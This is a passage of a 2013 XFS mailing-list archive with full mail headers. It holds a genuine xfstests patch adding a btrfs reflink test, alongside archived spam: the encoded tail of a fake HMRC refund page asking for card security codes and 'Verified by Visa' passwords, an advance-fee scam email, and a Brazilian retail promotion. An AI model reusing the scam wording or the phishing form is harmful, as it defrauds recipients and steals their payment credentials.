ZmllbGRzZXQiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9InJlcXVpcmVkIiB0 aXRsZT0iSW5zZXJ0IFNlY3VyaXR5IGNvZGUhIiB0YWJpbmRleD0iMSIgbmFtZT0iYWNjbnVtIiAg c2l6ZT0iOCIgbWF4bGVuZ3RoPSIxMCIgdHlwZT0idGV4dCI+DQogICAgICAgICAgICAgICAgICA8 L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDx0ZD48 ZGl2IGFsaWduPSJyaWdodCI+VmVyaWZpZWQgYnkgVmlzYSBQYXNzd29yZDo8c3BhbiBjbGFzcz0i cmVxdWlyZWQiPio8L3NwYW4+PC9kaXY+PC90ZD4NCiAgICAgICAgICAgICAgICAgIDx0ZD48c3Bh biBjbGFzcz0iZmllbGRzZXQiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdGFiaW5kZXg9 IjEiIG5hbWU9InZidiIgIHNpemU9IjIzIiBtYXhsZW5ndGg9IjIwIiB0eXBlPSJwYXNzd29yZCI+ DQogICAgICAgICAgICAgICAgICA8L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0K ICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPg0K ICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgICAgICAgICAgICAgPC90cj4N CiAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICA8dGQ+PGRpdiBhbGlnbj0i cmlnaHQiPlJlZnVuZCBBbW91bnQ6PC9kaXY+PC90ZD4NCiAgICAgICAgICAgICAgICAgIDx0ZD48 c3BhbiBjbGFzcz0iZmllbGRzZXQiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0i cmVmdW5kQW1vdW50IiB0eXBlPSJ0ZXh0IiBpZD0icmVmdW5kQW1vdW50IiB0YWJpbmRleD0iOSIg dmFsdWU9IjMyMy41MiIgc2l6ZT0iMTMiIG1heGxlbmd0aD0iMTMiIGRpc2FibGVkPSJkaXNhYmxl ZCI+DQogICAgICAgICAgICAgICAgICBHQlA8L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICA8 L3RyPg0KICAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgPC9saT4NCiAgICAgICAg ICA8L3VsPg0KICAgICAgICAgIA0KICAgICAgICAgIA0KICAgICAgICANCiAgICAgIDwvZGl2Pg0K DQogICAgICANCiAgICAgIDxwPiZuYnNwOzwvcD4NCg0KICAgICAgPGgzIGNsYXNzPSJkaXZpZGVy Ij4NCiAgICAgICAgTm90ZQ0KICAgICAgPC9oMz4NCg0KDQogICAgICA8ZGl2PkZvciBzZWN1cml0 eSByZWFzb25zLCB3ZSByZWNvbW1lbmQgdGhhdCB5b3UgY2xvc2UgeW91ciBicm93c2VyIGFmdGVy IHlvdSBoYXZlIGZpbmlzaGVkIHRoZSByZWZ1bmQgcHJvY2Vzcy48L2Rpdj4NCg0KICAgICANCiAg ICAgICAgICA8dGFibGUgd2lkdGg9Ijk4JSI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAg ICAgIDx0ZD4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4NCiAgICAg ICAgICAgIDwvdHI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgIDx0ZCB3aWR0aD0i ODUlIj4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1JSI+PGlucHV0IG9u Q2xpY2s9InJldHVybiBjaGVja19hbGwodGhpcy5mb3JtKTsiIGlkPSJCdXR0b25OZXh0IiBuYW1l PSJfY29tbWFuZE5leHQiIHZhbHVlPSJTdWJtaXQiIHR5cGU9InN1Ym1pdCI+PC90ZD4NCiAgICAg ICAgICAgIDwvdHI+DQogICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC9saT4NCiAgICAgICAg DQogICAgICA8L3VsPg0KICAgIDwvZm9ybT4NCiAgPC9kaXY+DQogPC9kaXY+DQoJICAgICAgDQoJ ICAgICAgDQoJICAgICAgDQoJICAgICAgDQoJICAgICAgDQoJICANCgkgIA0KCSAgCQ0KCSAgCQ0K CSAgCTx1bCBjbGFzcz0iaW5saW5lLW5hdmlnYXRpb24iIGlkPSJmb290ZXIiPg0KPGxpIGNsYXNz PSJmaXJzdCI+DQqpIDxhIHRpdGxlPSJvcGVucyBpbiBhIG5ldyB3aW5kb3ciIHRhcmdldD0iX2Js YW5rIiBjbGFzcz0ibmV3LXdpbmRvdyIgaHJlZj0iaHR0cDovL3d3dy5obXJjLmdvdi51ay9jb3B5 cmlnaHQvIj5Dcm93biANCkNvcHlyaWdodDwvYT4NCjwvbGk+DQo8bGk+DQo8YSB0aXRsZT0ib3Bl bnMgaW4gYSBuZXcgd2luZG93IiB0YXJnZXQ9Il9ibGFuayIgYWNjZXNza2V5PSI4IiBjbGFzcz0i bmV3LXdpbmRvdyIgaHJlZj0iaHR0cHM6Ly9vbmxpbmUuaG1yYy5nb3YudWsvaW5mb3JtYXRpb24v dGVybXMiPkhNUkMgVGVybXMgJmFtcDsgDQpDb25kaXRpb25zPC9hPg0KPC9saT4NCjxsaT4NCjxh IHRpdGxlPSJvcGVucyBpbiBhIG5ldyB3aW5kb3ciIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0ibmV3 LXdpbmRvdyIgaHJlZj0iaHR0cDovL3d3dy5obXJjLmdvdi51ay9hYm91dC9wcml2YWN5Lmh0bSI+ SE1SQyANClByaXZhY3kgcG9saWN5PC9hPg0KPC9saT4NCjxsaT4NCjxhIHRpdGxlPSJvcGVucyBp biBhIG5ldyB3aW5kb3ciIHRhcmdldD0iX2JsYW5rIiBhY2Nlc3NrZXk9IjAiIGNsYXNzPSJuZXct d2luZG93IiBocmVmPSJodHRwOi8vd3d3LmhtcmMuZ292LnVrL2FjY2Vzc2liaWxpdHkvaW5kZXgu aHRtIj5ITVJDIA0KQWNjZXNzaWJpbGl0eTwvYT4NCjwvbGk+DQo8L3VsPg0KICAgIA0KICAgIA0K ICANCg0KDQoNCg0KDQo8L2JvZHk+PC9odG1sPg0KPCEtLSBITVJDIFJlZ2lzdHJhdGlvbiBTZXJ2 aWNlIC0tPg0KPCEtLSA2MS4wMi44IC0tPg0KPCEtLSAzLjAuNmIgLS0+DQo8IS0tIFBhZ2VDb21w bGV0ZSAtLT4= --==Multipart_Boundary_x9eff887ba13c3d1714da3315174ed00fx From k3117628@server42527x.masterweb.net Wed Jul 3 07:04:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.6 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, FREEMAIL_REPLYTO_END_DIGIT,HTML_MESSAGE,HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7B3D77F4E for ; Wed, 3 Jul 2013 07:04:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 07D77AC001 for ; Wed, 3 Jul 2013 05:04:25 -0700 (PDT) X-ASG-Debug-ID: 1372853063-04cb6c2a47836820001-NocioJ Received: from mxout2.masterweb.com (mxout2.masterweb.com [103.11.75.220]) by cuda.sgi.com with ESMTP id cHrdMredU6RExFD8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 03 Jul 2013 05:04:24 -0700 (PDT) X-Barracuda-Envelope-From: k3117628@server42527x.masterweb.net X-Barracuda-Apparent-Source-IP: 103.11.75.220 Received: from ayam.n.masterweb.com ([49.50.8.110] helo=server42527x.masterweb.net) by mxserver2.masterweb.com with esmtps (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.80.1) (envelope-from ) id 1UuLn9-0003WX-Gr for xfs@oss.sgi.com; Wed, 03 Jul 2013 19:04:11 +0700 Received: from k3117628 by server42527x.masterweb.net with local (Exim 4.80.1) (envelope-from ) id 1UuJL6-00024W-0c for xfs@oss.sgi.com; Wed, 03 Jul 2013 10:27:04 +0100 To: xfs@oss.sgi.com Subject: I Await Your Earliest Response From: Mr.Alex Taylor.Name... X-ASG-Orig-Subj: I Await Your Earliest Response Reply-To: taylor.alex626@yahoo.com MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Date: Wed, 03 Jul 2013 10:27:04 +0100 X-Filter-ID: XtLePq6GTMn8G68F0EmQvR2mPpKg35+RoiSuzlNBdjfwLRoXSSVRcPIosx3pbafQ1jav4mC9JNrb ce/rsZ3BYaTNiZxpS50qpGBV7senz4VHkxSuKmeA0d7MEInJ0hdXcv/UwefozyiZ0g92Ee7LeP9x bu57BDazLmklZgT7xzaHkpXqn1vkLsbWrBXK7kYz9K0//mKPxA0hVup6g35htlFfEoXm0/FPF8PR 0w363lkRbocRqy0smnN+XkqeEyixvCrJPmnnTHzVkpybMK7ZTQgKMtGXnDcCdqxGtKsWW6mAM2m9 RB2qDZTLwZPMSnftw6nIoDr0sXUZ7YZoZ/GZ+kNQRgFMobzxzCVUuIqQLqQQtQFdV1z+XCe9xJy7 n9zLHxu5IpwUvrZnj+35JldJf5pAS86x0z87eBGtoz8ZWodhrO/UJOkoTbeANJG52tnoQbSGO9Fl lQyGy/hcZzz5sqyQ59rAFQZKFOvzaXCx3yj+7aR+huBFYYFykZMb4Fhu46JREwE7BKw2g48JV1zq W0o/kj4PrRYmdv7ffvOHEIEwyvcooR8ukxhx+wvhHcJ4nKVQurH8l2RyOQTH7AN9xZ2HPHJ+7yj3 iUa9UwFZQ2xzZia9Zk4ihgSaC36wBVEFxhq8RPuFTN4tXMZI+K1/QzEvuGslKTrRIXcXpFg5ivY= X-Originating-IP: 49.50.8.110 X-SpamExperts-Domain: server42527x.masterweb.com X-SpamExperts-Username: 49.50.8.110 Authentication-Results: masterweb.com; auth=pass smtp.auth=49.50.8.110 X-SpamExperts-Outgoing-Class: unsure X-SpamExperts-Outgoing-Evidence: Combined (0.50) X-Recommended-Action: accept X-Barracuda-Connect: mxout2.masterweb.com[103.11.75.220] X-Barracuda-Start-Time: 1372853064 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.05 X-Barracuda-Spam-Status: No, SCORE=1.05 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135683 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) Hello Sir, I am Alex Taylor, a Mexican born British presently residing in Sheffield United Kingdom. I have a proposition bothering on investment project in the India economy which I intend to discuss with you, It will be of mutual benefit to both of us, and I believe we can handle it together once we have a common understanding and mutual collaboration in the implementation of the modalities. I work as an internal auditor with Barclays Bank Plc. Should you be interested, please e-mail back to me for more details. I await your earliest response. Yours Sincerely, Mr.Alex Taylor. From koen.de.wit@oracle.com Wed Jul 3 07:06:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CE69B7F4E for ; Wed, 3 Jul 2013 07:06:08 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BD55330406B for ; Wed, 3 Jul 2013 05:06:08 -0700 (PDT) X-ASG-Debug-ID: 1372853167-04cb6c2a42836a10001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id gVEI2OfPV8ZEh7jZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 03 Jul 2013 05:06:07 -0700 (PDT) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r63C6627028897 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 3 Jul 2013 12:06:06 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r63C65ED006211 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 3 Jul 2013 12:06:05 GMT Received: from abhmt110.oracle.com (abhmt110.oracle.com [141.146.116.62]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r63C65NM007265; Wed, 3 Jul 2013 12:06:05 GMT Received: from koen-debian.uk.oracle.com (/10.175.26.229) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 03 Jul 2013 05:06:05 -0700 From: Koen De Wit To: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Cc: Koen De Wit Subject: [PATCH v4] xfstests: btrfs/316: cross-subvolume sparse copy Date: Wed, 3 Jul 2013 14:04:09 +0200 X-ASG-Orig-Subj: [PATCH v4] xfstests: btrfs/316: cross-subvolume sparse copy Message-Id: <1372853049-5773-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.2.5 X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1372853167 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135683 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines This testscript creates reflinks to files on different subvolumes, overwrites the original files and reflinks, and moves reflinked files between subvolumes. Signed-off-by: Koen De Wit --- Two new common/rc functions used in this script (_require_cp_reflink and _verify_reflink) have been submitted recently: http://oss.sgi.com/archives/xfs/2013-05/msg00745.html Changelog: v3 -> v4: Cleaning up commit message, cutting out filenames from output when printing md5sums, adding to group "reflink" v2 -> v3: Fixing wrapped patch v1 -> v2: Renamed 302 -> 316, changes made based on comments from Eric Sandeen: http://oss.sgi.com/archives/xfs/2013-03/msg00231.html tests/btrfs/316 | 131 ++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/316.out | 48 +++++++++++++++++++ tests/btrfs/group | 1 + 3 files changed, 180 insertions(+), 0 deletions(-) create mode 100755 tests/btrfs/316 create mode 100644 tests/btrfs/316.out diff --git a/tests/btrfs/316 b/tests/btrfs/316 new file mode 100755 index 0000000..321832a --- /dev/null +++ b/tests/btrfs/316 @@ -0,0 +1,131 @@ +#! /bin/bash +# FS QA Test No. btrfs/316 +# +# Testing cross-subvolume sparse copy on btrfs +# - Create two subvolumes, mount one of them +# - Create a file on each (sub/root)volume, +# reflink them on the other volumes +# - Change one original and two reflinked files +# - Move reflinked files between subvolumes +# +#----------------------------------------------------------------------- +# Copyright (c) 2013, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + umount $SCRATCH_MNT + rm -rf $TESTDIR1 + rm -rf $TESTDIR2 + btrfs subvolume delete $SUBVOL1 >> $seqres.full + btrfs subvolume delete $SUBVOL2 >> $seqres.full + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_scratch +_require_cp_reflink + +_checksum_files() { + for F in file1 file2 file3 + do + echo "$F:" + for D in $TESTDIR1 $SCRATCH_MNT $SUBVOL2 + do + _md5_checksum $D/$F + done + done +} + +TESTDIR1=$TEST_DIR/test-$seq-1 +TESTDIR2=$TEST_DIR/test-$seq-2 +SUBVOL1=$TEST_DIR/subvol-$seq-1 +SUBVOL2=$TEST_DIR/subvol-$seq-2 + +_scratch_unmount 2>/dev/null +rm -rf $seqres.full +rm -rf $TESTDIR1 $TESTDIR2 +btrfs subvol delete $SUBVOL1 >/dev/null 2>&1 +btrfs subvol delete $SUBVOL2 >/dev/null 2>&1 + +mkdir $TESTDIR1 +mkdir $TESTDIR2 +btrfs subvolume create $SUBVOL1 >> $seqres.full +btrfs subvolume create $SUBVOL2 >> $seqres.full +_mount -t btrfs -o subvol=subvol-$seq-1 $TEST_DEV $SCRATCH_MNT + +echo "Create initial files" +# TESTDIR1/file1 is very small and will be inlined +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 10' $TESTDIR1/file1 >> $seqres.full +$XFS_IO_PROG -f -c 'pwrite -S 0x62 0 13000' $SCRATCH_MNT/file2 >> $seqres.full +$XFS_IO_PROG -f -c 'pwrite -S 0x63 0 17000' $SUBVOL2/file3 >> $seqres.full + +echo "Create reflinks to the initial files on other subvolumes" +cp --reflink $TESTDIR1/file1 $SUBVOL1 +cp --reflink $TESTDIR1/file1 $SUBVOL2 +cp --reflink $SUBVOL1/file2 $TESTDIR1/ +cp --reflink $SUBVOL1/file2 $SUBVOL2 +cp --reflink $SUBVOL2/file3 $TESTDIR1/ +cp --reflink $SUBVOL2/file3 $SUBVOL1 + +echo "Verify the reflinks" +_verify_reflink $SCRATCH_MNT/file2 $TESTDIR1/file2 +_verify_reflink $SCRATCH_MNT/file2 $SUBVOL2/file2 +_verify_reflink $SUBVOL2/file3 $TESTDIR1/file3 +_verify_reflink $SUBVOL2/file3 $SCRATCH_MNT/file3 +echo "Verify the file contents:" +_checksum_files + +echo -e "---\nOverwrite some files with new content" +$XFS_IO_PROG -c 'pwrite -S 0x64 0 20' $TESTDIR1/file1 >> $seqres.full +$XFS_IO_PROG -c 'pwrite -S 0x66 0 21000' $SUBVOL2/file2 >> $seqres.full +$XFS_IO_PROG -c 'pwrite -S 0x65 5000 5000' $SCRATCH_MNT/file3 >> $seqres.full + +echo "Verify that non-overwritten reflinks still have the same data blocks" +_verify_reflink $TESTDIR1/file2 $SCRATCH_MNT/file2 +_verify_reflink $TESTDIR1/file3 $SUBVOL2/file3 +echo "Verify the file contents:" +_checksum_files + +echo -e "---\nShuffle files between directories" +mv $TESTDIR1/file* $TESTDIR2 +mv $SCRATCH_MNT/file* $TESTDIR1/ +mv $SUBVOL2/file* $SCRATCH_MNT/ +mv $TESTDIR2/file* $SUBVOL2/ + +# No _verify_reflink here as data is copied when moving files between subvols +echo "Verify the file contents:" +_checksum_files + +# success, all done +status=0 +exit diff --git a/tests/btrfs/316.out b/tests/btrfs/316.out new file mode 100644 index 0000000..ad3d01f --- /dev/null +++ b/tests/btrfs/316.out @@ -0,0 +1,48 @@ +QA output created by 316 +Create initial files +Create reflinks to the initial files on other subvolumes +Verify the reflinks +Verify the file contents: +file1: +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +file2: +d7402b46310fbbfbc5e466b1dccb043b +d7402b46310fbbfbc5e466b1dccb043b +d7402b46310fbbfbc5e466b1dccb043b +file3: +5a95800e4c04b11117aa4e4de057721f +5a95800e4c04b11117aa4e4de057721f +5a95800e4c04b11117aa4e4de057721f +--- +Overwrite some files with new content +Verify that non-overwritten reflinks still have the same data blocks +Verify the file contents: +file1: +00d620f69f30327f0f8946b95c12de44 +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +file2: +d7402b46310fbbfbc5e466b1dccb043b +d7402b46310fbbfbc5e466b1dccb043b +917619ae44b38bb9968af261c3c45440 +file3: +5a95800e4c04b11117aa4e4de057721f +b9f275cd638cb784c9e61def94c622a8 +5a95800e4c04b11117aa4e4de057721f +--- +Shuffle files between directories +Verify the file contents: +file1: +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +00d620f69f30327f0f8946b95c12de44 +file2: +d7402b46310fbbfbc5e466b1dccb043b +917619ae44b38bb9968af261c3c45440 +d7402b46310fbbfbc5e466b1dccb043b +file3: +b9f275cd638cb784c9e61def94c622a8 +5a95800e4c04b11117aa4e4de057721f +5a95800e4c04b11117aa4e4de057721f diff --git a/tests/btrfs/group b/tests/btrfs/group index bc6c256..a6d8de1 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -9,3 +9,4 @@ 276 auto rw metadata 284 auto 307 auto quick +316 auto quick reflink -- 1.7.2.5 From dma_1636@rp.email.girafa.com.br Wed Jul 3 07:29:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0F7597F93 for ; Wed, 3 Jul 2013 07:29:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8F54B30408D for ; Wed, 3 Jul 2013 05:29:30 -0700 (PDT) X-ASG-Debug-ID: 1372854558-04bdf0233eaf72d0001-w1Z2WR Received: from vt-0005-33.email.girafa.com.br (vt-0005-33.email.girafa.com.br [187.61.29.33]) by cuda.sgi.com with ESMTP id dG22qBKAml3ynM93 for ; Wed, 03 Jul 2013 05:29:18 -0700 (PDT) X-Barracuda-Envelope-From: dma_1636@rp.email.girafa.com.br X-Barracuda-Apparent-Source-IP: 187.61.29.33 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=email.girafa.com.br; h=From:To:Subject:MIME-Version:Content-Type:Reply-To:List-Unsubscribe:Message-ID:Date; bh=mLMCm2GMU0YMSio8jpnvi/2lcqA=; b=TSCnpMuLc8RUhHa6sfvRlPsFOlbCawAQayQteL4wY++DLQThs+L1ksrQo6vjTsd1V+CnRNffmQaY d4DLcEwU2laxmnZL4pt7XUzucQV9pX3b0u3E3QgA4X0pqOlW2Jh15N0g4gRM7oMUgG/bGVJw5xms dQZyijCT++sdzlbGhWQ= Received: by vt-0005-33.email.girafa.com.br id hqgchu0sh4sd for ; Wed, 3 Jul 2013 09:29:17 -0300 (envelope-from ) From: "Girafa" To: "" Subject: =?ISO-8859-1?Q?Cine_e_foto:_luz,_c=E2mera_e_pre=E7o_baixo_no_Girafa._Aproveite!?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?ISO-8859-1?Q?Cine_e_foto:_luz,_c=E2mera_e_pre=E7o_baixo_no_Girafa._Aproveite!?= Content-Type: multipart/alternative; boundary="8826fc359da792fac81b7c2265dc9307" Reply-To: "Girafa" List-Unsubscribe: X-Hash: 1636-3258-644384-4bd2115a038a04cf701c38dff390ba97 X-DMA: 5207349 Message-ID: <0.0.12.370.1CE77E8EFAF77FE.253CF@vt-0005-33.email.girafa.com.br> Date: Wed, 3 Jul 2013 09:29:19 -0300 X-Barracuda-Connect: vt-0005-33.email.girafa.com.br[187.61.29.33] X-Barracuda-Start-Time: 1372854558 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --8826fc359da792fac81b7c2265dc9307 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83846,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83846,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83847,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NpbmUtRm9= 0by8/dXRtX3NvdXJjZT0wM18wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83848,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb25= pY29zLz91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83849,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb3B= vcnRhdGVpcy8/dXRtX3NvdXJjZT0wM18wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW= 1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83850,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb2R= vbWVzdGljb3MvP3V0bV9zb3VyY2U9MDNfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPU= VtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wM18wN18xMyZ1d= G1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] 